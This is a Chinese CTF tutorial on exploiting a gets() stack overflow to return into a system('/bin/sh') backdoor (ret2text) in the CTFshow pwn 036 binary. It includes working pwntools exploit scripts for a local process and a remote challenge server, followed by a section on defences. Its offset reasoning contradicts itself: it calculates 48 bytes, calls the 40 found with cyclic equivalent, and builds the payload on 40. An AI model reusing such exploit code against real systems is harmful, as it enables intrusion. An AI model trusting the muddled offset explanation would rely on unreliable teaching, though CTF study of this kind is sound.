CTF Pwn入门:栈溢出漏洞原理与Ret2Text利用实战

1. 项目概述:从一道CTF题看栈溢出的经典利用

最近在带新人入门二进制安全,发现很多朋友对栈溢出这个核心概念的理解还停留在“覆盖返回地址”这个层面,知道要覆盖,但具体怎么找、怎么算、怎么用,一到实战就懵。正好,手头有一道CTFshow平台上的经典入门题“pwn 036”,它完美地诠释了栈溢出中最基础、也最经典的利用方式——Ret2Text。这道题没有复杂的保护机制,没有绕来绕去的逻辑,就是让你纯粹地理解“溢出”和“控制流劫持”到底是怎么一回事。如果你刚接触pwn,或者对栈溢出原理还一知半解,跟着我一步步拆解这道题,绝对比你啃十篇理论文章都管用。

简单来说,这道题的场景是:给你一个存在栈溢出漏洞的二进制程序,你的目标就是利用这个漏洞,让程序不执行它原本的逻辑,而是跳转到程序内部一个现成的、能给你shell的“后门函数”(也就是 system("/bin/sh") )去执行。这种攻击手法就叫“Ret2Text”(Return to Text),意思是“返回到代码段”,因为我们要跳转的地址就在程序本身的代码段(.text段)里。整个过程就像是你发现房子的门锁坏了(缓冲区溢出),然后你不仅溜了进去,还找到了房主藏在书房抽屉里的备用钥匙(后门函数),直接用钥匙打开了保险箱(拿到shell)。接下来,我就带你当一回“开锁匠”,看看这钥匙到底怎么找、怎么用。

2. 解题环境与工具准备:打造你的Pwn分析工作台

工欲善其事,必先利其器。做Pwn题,一个顺手的环境和一套靠谱的工具链能让你事半功倍。很多人卡在第一步环境配置上,其实没那么复杂。

2.1 核心工具链选择与配置

我个人的工作流主要基于Linux,推荐使用Ubuntu 20.04/22.04 LTS,或者直接用现成的渗透测试发行版如Kali Linux。工具方面,以下几样是必需品:

  • 调试器:GDB + Peda/Pwndbg/GEF
    • GDB是GNU调试器,是分析二进制程序的基石。但原生GDB对二进制安全分析不太友好,所以一定要装增强插件。Peda、Pwndbg、GEF是三巨头。
    • 我强烈推荐Pwndbg 。它界面更现代,对堆栈、内存的显示非常直观,集成了很多pwn专用命令(比如 cyclic 生成定位字符串, search 搜索字符串/汇编指令),对新手尤其友好。安装也简单,通常一条 git clone 加上环境变量配置就能搞定。
  • 反汇编与静态分析:IDA Pro / Ghidra / Binary Ninja
    • IDA Pro是业界标准,功能强大,但它是商业软件。对于学习和CTF, Ghidra 是完全免费且功能强大的绝佳替代品。它由NSA开源,反编译能力非常出色,能直接将汇编代码转换成可读性更高的C伪代码,对于快速理解程序逻辑至关重要。Binary Ninja则是后起之秀,API友好,适合自动化。
    • 在这道题里,我们用Ghidra就足够了。它的图形化界面和反编译窗口能让你快速找到main函数、后门函数和溢出点。
  • 动态交互与利用脚本编写:Pwntools
    • Pwntools是Python库,是编写漏洞利用脚本(Exploit)的瑞士军刀。它能帮你处理进程交互(发送数据、接收输出)、打包地址( p32 , p64 )、生成shellcode等几乎所有脏活累活。
    • 通过 pip install pwntools 即可安装。写exp时,导入 from pwn import * ,你的攻击脚本就拥有了强大的内力。

2.2 题目文件获取与初步检查

拿到题目,通常是一个名为 pwn challenge 或带有题目名的可执行文件,有时还会附带一个 libc.so.x 的库文件。第一步不是直接运行,而是先“望闻问切”。

# 查看文件类型和基础信息
file pwn
# 示例输出:pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=..., not stripped
# 关键信息:64位程序,动态链接,没有去除符号(not stripped),这意味着函数名可能还在,分析更方便。

# 检查程序开启了哪些安全保护机制
checksec pwn
# 示例输出:
#     Arch:     amd64-64-little
#     RELRO:    Partial RELRO
#     Stack:    No canary found
#     NX:       NX enabled
#     PIE:      No PIE (0x400000)

对于pwn 036这道题, checksec 的结果很可能显示:

  • Stack: No canary found :栈上没有“金丝雀”(Canary)保护。这是我们能进行栈溢出的前提!如果有Canary,在覆盖返回地址前会先破坏这个随机值,导致程序崩溃,常规溢出就失效了。
  • NX: NX enabled :数据执行保护(Non-eXecutable)已开启。这意味着栈上的数据(比如我们输入的shellcode)不能被当作代码执行。但这道题是Ret2Text,我们跳转到程序自身的代码段去执行,不依赖在栈上执行代码,所以NX开启对我们没影响。
  • PIE: No PIE :位置无关可执行文件(Position-Independent Executable)未开启。 这是Ret2Text能成功的关键! 因为PIE关闭,所以程序每次加载到内存时,代码段(.text)的基地址是固定的(比如0x400000)。我们可以在静态分析时直接确定后门函数的绝对地址(例如0x400123),并且在程序运行时,这个地址不会变。如果PIE开启,代码段基地址会随机化,我们就无法在攻击前知道后门函数的具体地址了。

注意 :在开始真正的漏洞利用前,花几分钟做这些检查是绝对值得的。它直接决定了你攻击的大方向。比如看到有Canary,你就要考虑泄露Canary或者绕过它;看到PIE开启,就要想办法泄露地址来计算基址。这道题“三无”(无Canary,无PIE,NX不影响),是标准的“新手快乐题”,让我们可以专注于理解溢出本身。

3. 静态分析:用Ghidra透视程序逻辑与漏洞点

静态分析就是在程序不运行的情况下,通过反汇编和反编译工具来理解它的代码逻辑和数据结构。这是寻找漏洞的“侦察阶段”。

3.1 加载程序与定位关键函数

用Ghidra打开题目文件。分析完成后,首先在“Symbol Tree”窗口里找 main 函数和看起来像后门的函数名。后门函数的名字可能很直白,比如 backdoor shell win get_flag ,也可能故意起个迷惑性的名字。双击 main 函数,Ghidra会在反编译窗口显示其C伪代码。

假设我们看到的 main 函数伪代码如下:

undefined8 main(void)
{
  char local_28 [32];
  
  puts("Welcome to CTFshow pwn 036!");
  printf("Input your data: ");
  gets(local_28);
  puts("Bye!");
  return 0;
}

漏洞点一目了然: gets(local_28) gets() 是一个危险函数,它从标准输入读取数据,直到遇到换行符或EOF,但它 不检查目标缓冲区的大小 。这里 local_28 是一个在栈上分配的、长度为32字节的字符数组。一旦我们输入超过32个字符,多出来的数据就会覆盖栈上 local_28 之后的内存区域。

3.2 分析栈布局与计算偏移量

要精确覆盖返回地址,我们必须知道从我们输入的缓冲区起始位置,到保存的返回地址之间有多少个字节。这就是“偏移量”(Offset)。

在Ghidra的反编译视图里,我们看到变量 local_28 。这个命名是Ghidra根据变量相对于栈帧基地址(通常是RBP)的偏移自动生成的。 local_28 中的“28”是十六进制,代表偏移量-0x28(十进制-40)。也就是说,这个缓冲区的起始地址在 RBP - 0x28 的位置。

在x86-64架构下,调用函数时,返回地址(Saved Return Address)保存在栈上,位于 RBP + 8 的位置(在旧RBP值之后)。

那么,从缓冲区开始( RBP - 0x28 )到返回地址( RBP + 8 )的偏移量计算如下:

偏移量 = (RBP + 8) - (RBP - 0x28) = 0x8 - (-0x28) = 0x8 + 0x28 = 0x30

0x30 是十六进制,转换成十进制是 48

结论 :我们需要先填充48个字节的垃圾数据(比如‘A’),之后输入的4个字节(32位程序)或8个字节(64位程序)就会覆盖到返回地址。因为这是64位程序,所以覆盖返回地址需要8个字节。

实操心得 :Ghidra的变量名(如 local_xx )是计算偏移的快速参考,但最可靠的方法还是结合动态调试确认。另外,注意 gets() 会在输入的字符串末尾自动添加一个 \x00 (空字符)作为终止符,这个 \x00 也会占用一个字节的缓冲区空间,在计算时需要考虑进去吗?在这个例子中, gets() 的写入是从我们提供的字符串开头开始, \x00 是追加在末尾。我们的目标是覆盖 \x00 之后的内容(返回地址),所以这个终止符本身不影响我们覆盖返回地址所需的填充长度,它只是覆盖内容的一部分。但如果你是用 read fread 等函数,情况可能不同。

3.3 寻找“后门”函数

接下来,我们在Ghidra的Symbol Tree里或者通过搜索字符串(如 /bin/sh )来寻找后门函数。假设我们找到一个名为 backdoor 的函数,查看其反编译代码:

void backdoor(void)
{
  system("/bin/sh");
  return;
}

完美!这就是我们想要跳转的目标。在Ghidra的汇编视图或符号列表中,我们可以找到这个函数的地址。假设显示地址是 0x400123

注意事项 :有时候后门函数可能不直接调用 system("/bin/sh") ,而是调用某个封装了此功能的函数,或者参数需要稍作构造。一定要仔细看反编译代码,确认其功能。另外,记住这个地址 0x400123 ,它是我们攻击载荷(Payload)的核心。

4. 动态调试:用GDB+Pwndbg验证与精确定位

静态分析给了我们理论上的偏移量和目标地址,动态调试则是我们的“实弹演习”,用于验证理论并处理一些静态分析中不明显的细节。

4.1 使用cyclic模式定位精确偏移

虽然我们通过计算得到了48字节的偏移,但在实际漏洞利用中,栈布局可能因为编译器优化、对齐等因素有细微差别。使用 cyclic (循环模式字符串)可以消除这种不确定性。

首先,用Pwntools生成一个长的不重复模式字符串:

from pwn import *
cyclic(200)
# 输出类似:'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'

然后,在GDB中运行程序,并在 gets 函数调用之后(或main函数返回前)设下断点。当程序提示输入时,将上面生成的200个字符粘贴进去。

程序很可能会崩溃。此时,查看崩溃时 RIP (指令指针寄存器)的值。在Pwndbg中,崩溃信息会显示 RIP 的值,比如 0x6161616161616166 (‘faaaaaaa’的ASCII码)。这个值是我们输入的cyclic字符串的一部分。

接着,使用 cyclic -l 0x6161616161616166 (或 cyclic -l faaaaaaa )来查询这个值在cyclic字符串中的偏移位置。

$ cyclic -l 0x6161616161616166
# 输出可能是 40

这里 cyclic -l 找到的偏移是 从cyclic字符串开始,到覆盖 RIP 的那部分模式开始处的长度 。注意,在64位系统中, RIP 被8个字节覆盖。这个偏移量(比如40)意味着我们需要填充40个字节,接下来的8个字节就会控制 RIP

为什么和我们计算的48不一样? 这是因为 cyclic 计算的偏移是到 覆盖RIP的起始位置 。而我们之前计算的48字节,是到 返回地址存储位置起始处 的偏移。两者是等价的。因为覆盖RIP的8个字节,其起始位置就是返回地址的存储位置。所以,用cyclic找到的偏移(比如40)可能因为栈对齐等原因与静态计算(48)有出入。 以动态调试找到的偏移为准! 在这个假设的例子中,我们后续的payload构造就应该使用40字节的填充。

4.2 验证后门函数地址

在GDB中,我们也可以直接打印后门函数的地址来确认:

(gdb) print backdoor
$1 = {void (void)} 0x400123 <backdoor>

确保这个地址和Ghidra中看到的一致。如果程序是静态链接或者 stripped(去符号),可能找不到符号,就需要用Ghidra找到的地址,或者在GDB中通过 disas (反汇编)一段已知地址的代码来推算。

踩坑记录 :有一次做题,静态分析找到的后门地址是 0x4005xx ,但动态调试时发现程序基址变了,导致跳转失败。最后发现是因为我本地运行的环境和题目提供的 ld.so (动态链接器)版本不一致,导致加载偏移有细微差别。 教训 :在打远程题目时,一定要用题目提供的 libc ld ,或者使用 pwnlib ELF 类自动处理地址。对于本地调试,尽量使用 ./ld.so ./pwn 这样的方式指定链接器。

5. 利用脚本编写:组装最终的攻击载荷

经过静态分析和动态调试,我们掌握了所有必要信息:精确的偏移量(假设动态验证为40字节)、后门函数地址( 0x400123 )。现在,用Pwntools编写最终的Exploit脚本。

5.1 基础Payload构造

Ret2Text的Payload结构非常简单:

[填充垃圾数据,长度等于偏移量] + [后门函数地址]

对于64位程序,地址是8字节。我们需要考虑字节序(Endianness)。x86和x86-64架构使用小端序(Little Endian),即低位字节在前。所以地址 0x400123 在内存中应表示为字节序列: \x23\x01\x40\x00\x00\x00\x00\x00 (64位,8字节,高位补零)。Pwntools的 p64() 函数会自动帮我们完成这个转换。

一个基础的本地利用脚本如下:

#!/usr/bin/env python3
from pwn import *

# 设置上下文,例如架构、日志级别
context(arch='amd64', os='linux', log_level='debug')

# 启动本地进程
p = process('./pwn')

# 构造payload
offset = 40
backdoor_addr = 0x400123

payload = b'A' * offset          # 填充40个'A'
payload += p64(backdoor_addr)    # 小端序打包后门地址

# 发送payload
p.sendline(payload)

# 将交互权交给用户,拿到shell后可以手动输入命令
p.interactive()

5.2 处理输入与输出缓冲

有些程序可能使用 printf puts 后立刻调用 gets read ,输出缓冲区可能没有及时刷新,导致我们的输入和程序输出混在一起。一个稳健的做法是在发送payload前,先接收程序打印的提示信息:

# 接收直到提示输入字符串
p.recvuntil(b"Input your data: ")
# 然后再发送payload
p.sendline(payload)

5.3 远程利用脚本

如果题目需要连接远程服务器,脚本只需稍作修改:

#!/usr/bin/env python3
from pwn import *

context(arch='amd64', os='linux', log_level='info') # 远程可以调高log_level

# 连接远程服务器
host = 'pwn.challenge.ctf.show'
port = 12345
p = remote(host, port)

offset = 40
backdoor_addr = 0x400123

payload = b'A' * offset
payload += p64(backdoor_addr)

p.recvuntil(b"Input your data: ")
p.sendline(payload)

# 如果成功,会得到一个shell,可以尝试读取flag
p.sendline(b'cat flag.txt')  # 常见的获取flag命令
flag = p.recvline()
print(f"Flag: {flag.decode()}")

p.close()

重要技巧 :在构造payload时,有时后门函数地址本身可能包含坏字符(Bad Characters),比如 \x00 (空字节)、 \x0a (换行)、 \x0d (回车)等。这些字符可能会被某些输入函数(如 scanf strcpy )截断,导致payload不完整。 gets() 遇到换行符 \x0a 会停止读取,但地址中的 \x0a 可能在我们发送的payload中间,这会导致 gets() 提前终止。幸运的是,我们例子中的地址 0x400123 不含坏字符。如果地址包含坏字符,可能需要寻找替代的指令片段(如 jmp backdoor+1 )或使用ROP链来绕过。

6. 漏洞原理深度剖析:理解栈帧与控制流劫持

知其然,更要知其所以然。Ret2Text之所以能成功,根植于程序运行时栈的结构和函数调用约定。

6.1 函数调用时栈的变化

当一个函数(如 main )被调用时,会发生以下几步:

  1. 参数传递 :x86-64下,前6个整型或指针参数通过寄存器 RDI, RSI, RDX, RCX, R8, R9 传递。更多参数通过栈传递。
  2. 调用指令 call 指令做两件事:a) 将下一条指令的地址(返回地址)压入栈中;b) 跳转到被调用函数的起始地址。
  3. 被调函数序言
    push rbp        ; 保存调用者的RBP
    mov rbp, rsp    ; 设置新的栈帧基址
    sub rsp, 0x30   ; 在栈上为局部变量分配空间
    
    此时栈布局(从高地址到低地址)大致如下:
    ... (更高地址)
    调用者的栈帧...
    ----------------- <--- 调用前的RSP
    参数n (如果有)
    ...
    参数7 (如果有)
    返回地址          <--- call指令压入
    旧的RBP值         <--- push rbp压入
    ----------------- <--- 新的RBP (当前函数的栈帧开始)
    局部变量区        <--- 例如 local_28 在这里
    ...
    ----------------- <--- 新的RSP (当前栈顶)
    
  4. 函数执行 :使用 RBP - offset 来访问局部变量和参数。
  5. 被调函数尾声
    leave           ; 相当于 mov rsp, rbp; pop rbp
    ret             ; 相当于 pop rip
    
    leave 指令恢复 RSP RBP ret 指令从栈顶弹出数据到 RIP ,从而跳转到返回地址执行。

6.2 溢出如何发生

在我们的例子中, local_28 位于 RBP - 0x28 处。 gets(local_28) 向这个位置写入数据,但它不检查长度。如果我们写入超过32字节的数据:

  • 前32字节填满 local_28
  • 第33-40字节会覆盖 RBP - 0x28 之后、 RBP 之前的内容(可能是其他局部变量或对齐填充)。
  • 第41-48字节会覆盖保存在栈上的 旧的RBP值
  • 第49-56字节就会覆盖 返回地址

当函数执行到 ret 时,它会从当前 RSP 指向的位置“弹出”数据到 RIP 。如果返回地址被我们覆盖成了后门函数的地址 0x400123 ,那么 ret 指令执行后, RIP 就变成了 0x400123 ,CPU接下来就会去执行 backdoor 函数里的 system("/bin/sh") ,从而给我们一个shell。

6.3 Ret2Text的局限性

Ret2Text是最简单的控制流劫持,但它依赖几个关键条件:

  1. 存在栈溢出漏洞 :允许覆盖返回地址。
  2. 没有栈保护(Canary) :否则会触发栈破坏检测。
  3. PIE未开启 :或者已知目标函数地址。如果PIE开启,需要先信息泄露。
  4. 目标函数在程序中存在 :并且其功能符合攻击者意图(如获取shell)。

如果程序中没有现成的后门函数,我们就需要更复杂的技巧,比如Ret2Libc(返回到libc库函数)或ROP(面向返回编程)来组合现有的代码片段(gadgets)达成目的。

7. 拓展与防御:从攻击到防护的思考

通过这道题,我们完成了完整的攻击链。但作为学习者,我们不应该只停留在攻击层面,更要理解如何防御此类漏洞。

7.1 漏洞挖掘视角的拓展

在实际的漏洞挖掘中,不会所有函数都像 gets 这么明显。我们需要关注哪些函数是危险的:

  • 字符串操作 strcpy , strcat , sprintf , vsprintf (不使用长度限制版本)。
  • 输入函数 gets , scanf , fscanf (使用 %s 且未指定宽度)。
  • 内存操作 memcpy , memmove , read , recv (如果长度参数可控且大于目标缓冲区)。

静态分析工具(如Ghidra的CodeBrowser)和动态模糊测试(Fuzzing)可以帮助我们发现这些潜在的溢出点。

7.2 现代安全防护机制

现代编译器和操作系统引入了多种机制来增加漏洞利用的难度:

  • 栈金丝雀(Stack Canary) :在栈上返回地址之前插入一个随机值。函数返回前检查该值是否被改变,若改变则终止程序。绕过方法通常需要信息泄露来获取Canary值。
  • 数据执行保护(NX/DEP) :使栈、堆等数据区域不可执行。这阻止了直接在栈上执行shellcode。Ret2Text、ROP、Ret2Libc都是绕过NX的常用方法,因为它们执行的是已有代码段的指令。
  • 地址空间布局随机化(ASLR/PIE) :随机化栈、堆、库和可执行文件基址。这使得攻击者难以预测目标地址。绕过需要先通过信息泄露获取某个已知地址,然后计算出基址偏移。
  • 控制流完整性(CFI) :更高级的防护,限制程序控制流转移只能在预定的有效目标范围内。

7.3 安全开发建议

对于开发者而言,避免此类漏洞的根本方法是使用安全的编程实践:

  1. 永远使用带长度检查的函数 :用 fgets 代替 gets ,用 snprintf 代替 sprintf ,用 strncpy 代替 strcpy (并注意 strncpy 不会自动添加终止符的问题)。
  2. 进行边界检查 :对所有来自外部的输入进行严格的长度和内容检查。
  3. 使用现代安全特性 :在编译时开启所有安全选项,如 -fstack-protector-all (栈保护)、 -D_FORTIFY_SOURCE=2 (强化安全函数)、 -Wformat-security 等。
  4. 代码审计与模糊测试 :定期进行代码安全审计,并对输入接口进行模糊测试。

回过头看pwn 036这道题,它像是一个解剖标本,剥离了所有现代防护,让我们能最清晰地看到栈溢出漏洞的骨骼和肌肉。理解它是你迈向更复杂二进制漏洞利用世界的坚实第一步。下次当你遇到开启了Canary、PIE、RELRO全保护的题目时,你就能明白,攻击的艺术正是在与这些防护机制的博弈中不断演进的。而这一切,都始于对栈上那几十个字节的精确掌控。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值